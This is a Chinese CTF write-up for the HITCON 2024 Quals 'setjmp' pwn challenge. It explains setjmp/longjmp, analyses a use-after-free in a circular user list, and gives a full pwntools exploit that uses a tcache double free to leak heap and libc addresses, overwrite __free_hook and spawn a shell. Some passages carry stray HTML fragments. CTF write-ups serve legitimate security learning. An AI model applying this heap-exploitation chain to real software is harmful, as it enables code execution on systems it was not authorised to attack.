HITCON-CTF-2024-Quals-setjmp

07-16 496阅读

文章目录

  • 检查
  • _setjmp 和 longjmp
      • _setjmp 和 longjmp 函数简介
        • _setjmp 函数
        • longjmp 函数
        • 示例
        • 实例
        • 逆向
        • 相关参考
        • 思路
        • double free->泄露libc
        • exp

          检查

          HITCON-CTF-2024-Quals-setjmp

          _setjmp 和 longjmp

          setjmp和longjmp是C语言中用于实现非局部跳转(non-local jump)的函数,它们允许程序的控制流程跨越函数调用边界,从一个指定的位置跳转到另一个先前记录的位置。这与常规的函数调用和返回机制不同,常规机制只能在函数内部进行控制流的转移。

          _setjmp 和 longjmp 函数简介

          setjmp函数用于设置一个返回点,而longjmp函数则用于从程序的任何位置跳回到setjmp所设置的返回点。

          _setjmp 函数

          _setjmp函数(在C++中通常称为setjmp)的原型如下:

          int _setjmp(jmp_buf env);
          

          env是一个jmp_buf类型的数组,用于保存当前执行环境的信息,包括寄存器的值和程序计数器等。_setjmp函数返回0,如果这是第一次调用_setjmp;如果longjmp调用到了这个env,则_setjmp返回非零值。

          longjmp 函数

          longjmp函数的原型如下:

          void longjmp(jmp_buf env, int val);
          

          longjmp函数用于从当前的执行位置跳转回由env标识的setjmp点。val是传递给setjmp的返回值,通常用来指示跳转的原因。

          示例

          下面是一个使用_setjmp和longjmp的例子:

          #include 
          #include 
          jmp_buf jmpbuf;
          void my_function() {
              printf("Inside my_function\n");
              // 模拟一个错误条件
              if (1) {
                  longjmp(jmpbuf, 1); // 发生错误,跳回到setjmp点
              }
          }
          int main() {
              int ret;
              printf("Before setjmp\n");
              ret = _setjmp(jmpbuf); // 设置返回点
              if (ret == 0) {
                  printf("First call to setjmp\n");
                  my_function(); // 调用可能抛出longjmp的函数
              } else {
                  printf("Caught an error, ret=%d\n", ret);
              }
              printf("After possible longjmp\n");
              return 0;
          }
          

          在这个例子中,main函数首先调用_setjmp来设置一个返回点。如果my_function检测到错误条件,它会调用longjmp,这将使控制流立即返回到_setjmp调用的位置,跳过my_function的后续代码。main函数中的else分支将在longjmp之后执行,处理错误情况。

          需要注意的是,longjmp和setjmp的使用应当谨慎,因为它们可能会破坏程序的状态,例如,跳过资源释放代码或导致线程安全问题。通常,异常处理机制如C++的try/catch或更高级的错误处理方法是更可取的替代方案。

          实例

          当你在C程序中调用longjmp()函数时,它会将程序控制权立即转移到与传入jmp_buf关联的setjmp()调用点。在这个情况下,longjmp(main_begin_jmp_buf, 1);将导致程序的控制流跳回到_setjmp(main_begin_jmp_buf);所在的点。

          具体来说,在你的代码片段中,longjmp(main_begin_jmp_buf, 1);会使得程序执行从longjmp调用点跳转回_setjmp(main_begin_jmp_buf);这一行之后的第一条指令。也就是说,如果_setjmp(main_begin_jmp_buf);之后紧接着是:

          if ( _setjmp(main_begin_jmp_buf) )
          {
            v3 = time(0LL);
            printf("restart at %ld\n", v3);
          }
          

          那么longjmp(main_begin_jmp_buf, 1);执行后,程序会从if ( _setjmp(main_begin_jmp_buf) )这一行开始继续执行,但这一次_setjmp()不再返回0,而是返回了longjmp()传递的值(在这种情况下是1)。因此,if语句的条件为真,程序将执行v3 = time(0LL);和printf("restart at %ld\n", v3);这两行代码。

          简而言之,longjmp(main_begin_jmp_buf, 1);会使程序跳转到_setjmp(main_begin_jmp_buf);之后的代码段,并从那里继续执行,且_setjmp()的返回值将为1,这将触发if语句中的代码块。

          逆向

          HITCON-CTF-2024-Quals-setjmp

          HITCON-CTF-2024-Quals-setjmp

          HITCON-CTF-2024-Quals-setjmp

          HITCON-CTF-2024-Quals-setjmp

          HITCON-CTF-2024-Quals-setjmp

          相关参考

          https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.17_pwn_secconctf2016_jmper

          https://darkwing.moe/2019/09/24/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B024-%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF/

          思路

          非常感谢Eurus师傅提供的帮助

          反编译有问题,这里new_user后,root_chunk会改变

          HITCON-CTF-2024-Quals-setjmp

          这里实现了循环双向链表,大致就是创建用户会在链表尾部插入,然后更新root_chunk,find会根据name来检索循环链表,最后直到下一个与开始的节点相同就停止

          漏洞点在于free掉当前root_chunk后不会改变root_chunk的值,find依然会按照原来的root_chunk来寻找,进而new,dele,change都会有影响

          fastbin是个无底洞,塞不到unsortedbin中去。下面代码得证

          #include 
          int main()
          {
              char*a[30];
              for(int i=1;i
                  a[i]=malloc(0x20);
              }
               for(int i=1;i
                  free( a[i]);
              }
          }
          
          p由于泄露heap地址,所以free root后虽然改变name,但依然可以修改passwd,正是tcache的字段用来判断double free(先判断e-key == tcache,然后遍历idx对应的tcache,然后看看有没有地址相同),然后利用double free造成任意堆地址分配,进而分配到某个堆的头部作为data部分然后passwd正好是size部分修改size,然后free掉从而进入unsortedbin,为了保证引起检查错误,所以要分配一堆0x30的chunk来满足chunk_extend/p p然后再利用double free改free_hook就行/p h2double free->泄露libc

          分配到堆头部分,改堆头size,free后进入unsortedbin可泄露

          exp

          from pwn import *
          context.log_level='debug'
          context.os='linux'
          context.arch='amd64'
          def restart():
              p.sendlineafter(b'> ',b'1')
          def add(name,passwd):
              p.sendlineafter(b'> ',b'2')
              p.sendafter(b'username > ',name)
              p.sendafter(b'password > ',passwd)
          def delete(name):
              p.sendlineafter(b'> ',b'3')
              p.sendafter(b'username > ',name)
          def edit(name,passwd):
              p.sendlineafter(b'> ',b'4')
              p.sendafter(b'username > ',name)
              p.sendafter(b'password > ',passwd)
          def show():
              p.sendlineafter(b'> ',b'5')
          p=process("./run")
          add(b"2",b"2")
          delete(b"2")
          delete(b"root")
          add(b"1",b"1") # cover part heap address
          show() 
          heap=u64( (p.recv(6)).ljust(8,b"\x00"))-0x531
          print("heap",hex(heap))
          add(b"2",b"2") 
          add(b"3",b"3") # then need heap address to find the chunk to edit
          # 0x420
          for i in range(21):
              add(b"extend",b"extend")
          delete(b"2")
          delete(b"3")      # else can't find 
          restart() # root_chunk change 3 
          delete(b"root")
          
          edit(p64(heap+0x540),b"0") 
          delete(p64(heap+0x540))
          add(p64(heap+0x560),p64(0))
          add(p64(heap+0x560),b"unuse")
          add(p64(0),p64(0x421))
          delete(p64(heap+0x570)) # new user will change 16 24 
          restart()  # enconvinent to layout
          add(b"1",b"1")
          show()
          leak=u64( (p.recv(6)).ljust(8,b"\x00"))
          libc=leak-0x1ecb31
          delete(p64(leak))
          gdb.attach(p)
          pause()
          delete(b"root")
          edit(p64(heap+0x740),p64(0))
          delete(p64(heap+0x740))
          add(p64(libc+0x1eee48-8),p64(0))
          add(b"nouse",b"nouse")
          add(b"/bin/sh\x00",p64(libc+0x52290))
          delete(b"/bin/sh\x00")
          p.interactive()
          

          HITCON-CTF-2024-Quals-setjmp

VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]